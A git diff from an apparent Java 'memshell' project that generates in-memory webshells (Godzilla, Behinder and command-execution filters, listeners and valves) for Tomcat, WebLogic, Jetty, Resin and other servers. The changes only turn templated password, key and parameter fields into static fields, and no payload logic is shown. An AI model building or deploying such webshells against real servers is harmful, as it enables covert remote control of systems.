--- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java
index e01145b8..2c57b7ab 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java
index 2eafd4a0..ab796520 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/behinder/BehinderValve.java
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java
index 8ccd4712..3eee4c53 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/command/CommandValve.java
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
- public String paramName = "{{paramName}}";
+ public static String paramName;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java
index 91cd127e..1839e95a 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/godzilla/GodzillaValve.java
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java
index be859387..5e363af2 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java
index 2ada8966..8e8638c6 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java
index 1cf3bea7..a39b1fa0 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java
index 505fb073..8d39963a 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java
index 82d06857..34a46350 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java
index cd9a8a3a..a9392aa2 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java
index a27f1b60..7f1bd22d 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java
index de9dc5db..239a0679 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java
index 043cf6cf..fd961b70 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java
index d6e004b9..ab88ea5c 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderFilter.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderFilter extends ClassLoader implements Filter {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
@SuppressWarnings("all")
public Class> g(byte[] b) {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java
index 53348817..3bccf373 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderServlet.java
@@ -17,9 +17,9 @@ import java.util.Map;
*/
public class BehinderServlet extends ClassLoader implements Servlet {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
@Override
@SuppressWarnings("all")
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java
index 13bb9b1f..722ab4c5 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderValve.java
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
index e84efdf8..31d9c7e0 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandFilter.java
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
- public String paramName = "{{paramName}}";
+ public static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
index 7b7cc468..e3b04893 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandServlet.java
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/15
*/
public class CommandServlet extends HttpServlet {
- public String paramName = "{{paramName}}";
+ public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
index b64e1029..2f13167e 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandValve.java
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
- public String paramName = "{{paramName}}";
+ public static String paramName;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
index 2cd38b5f..ff1929bc 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaFilter.java
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaFilter() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
index 52347d5d..3c358e10 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaServlet.java
@@ -14,11 +14,11 @@ import java.io.IOException;
* @since 2024/12/15
*/
public class GodzillaServlet extends ClassLoader implements Servlet {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaServlet() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
index 9fad8dfe..5006a0d8 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaValve.java
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java
index b60ff53a..e933a653 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepFilter.java
@@ -8,7 +8,7 @@ import java.io.IOException;
* @since 2024/12/14
*/
public class SleepFilter implements Filter {
- private int second = 10;
+ public static int second = 10;
@Override
public void destroy() {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java
index e17220eb..b65bc9f5 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepListener.java
@@ -8,7 +8,7 @@ import javax.servlet.ServletRequestListener;
* @since 2024/12/14
*/
public class SleepListener implements ServletRequestListener {
- private int second = 10;
+ private static int second = 10;
@Override
public void requestDestroyed(ServletRequestEvent sre) {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java
index 700f9492..f06708d7 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/sleep/SleepValve.java
@@ -12,7 +12,7 @@ import java.io.IOException;
* @since 2024/12/14
*/
public class SleepValve implements Valve {
- private int second = 10;
+ private static int second = 10;
@Override
public Valve getNext() {
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java
index 8a8a3ad1..81202c74 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java
index a7422225..0368bfb6 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java
index e7c9349f..85de3ec7 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/command/CommandWebSocket.java
@@ -14,7 +14,7 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole {
- public String paramName = "{{paramName}}";
+ public static String paramName;
private Session session;
@Override
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java
index f27c0ede..2b94c743 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java
index 5858d765..8c70f130 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve6.java
@@ -20,9 +20,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve6 extends ClassLoader implements Valve {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java
index 3923710f..b9ee7488 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/behinder/BehinderValve7.java
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve7 extends ClassLoader implements Valve {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java
index 58a4f2b0..18dee413 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve6.java
@@ -14,7 +14,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve6 implements Valve {
- public String paramName = "{{paramName}}";
+ public static String paramName;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java
index d74c6a88..df03d085 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/command/CommandValve7.java
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve7 implements Valve {
- public String paramName = "{{paramName}}";
+ public static String paramName;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java
index cd2116a9..7a68652c 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve6.java
@@ -16,11 +16,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve6 extends ClassLoader implements Valve {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java
index 25abd2c1..65b20f0f 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tongweb/godzilla/GodzillaValve7.java
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve7 extends ClassLoader implements Valve {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java
index 2dbb4108..7a99db7d 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java
index d4fa06b8..af3b190c 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/command/CommandListener.java
@@ -13,7 +13,7 @@ import java.util.Map;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java
index fdbc6b8e..3eec30ab 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/undertow/godzilla/GodzillaListener.java
@@ -15,11 +15,11 @@ import java.util.Map;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
- public String key = "{{key}}";
- public String pass = "{{pass}}";
- public String md5 = "{{md5}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String key;
+ public static String pass;
+ public static String md5;
+ public static String headerName;
+ public static String headerValue;
public GodzillaListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java
index 34b9f2d5..6ef7fdc7 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/behinder/BehinderListener.java
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
- public String pass = "{{pass}}";
- public String headerName = "{{headerName}}";
- public String headerValue = "{{headerValue}}";
+ public static String pass;
+ public static String headerName;
+ public static String headerValue;
public BehinderListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java
index 1baa26b2..7ad51c5f 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandListener.java
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
- public String paramName = "{{paramName}}";
+ public static String paramName;
public CommandListener() {
}
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java
index 2b21158a..12919aeb 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/command/CommandWebSocket.java
@@ -14,7 +14,7 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole {
- public String paramName = "{{paramName}}";
+ public static String paramName;
private Session session;
@Override
diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java
index 4f7a513e..e862cd7e 100644
--- a/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java
+++ b/memshell/src/main/java/com/reajason/javaweb/memshell/weblogic/godzilla/GodzillaListener.java
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
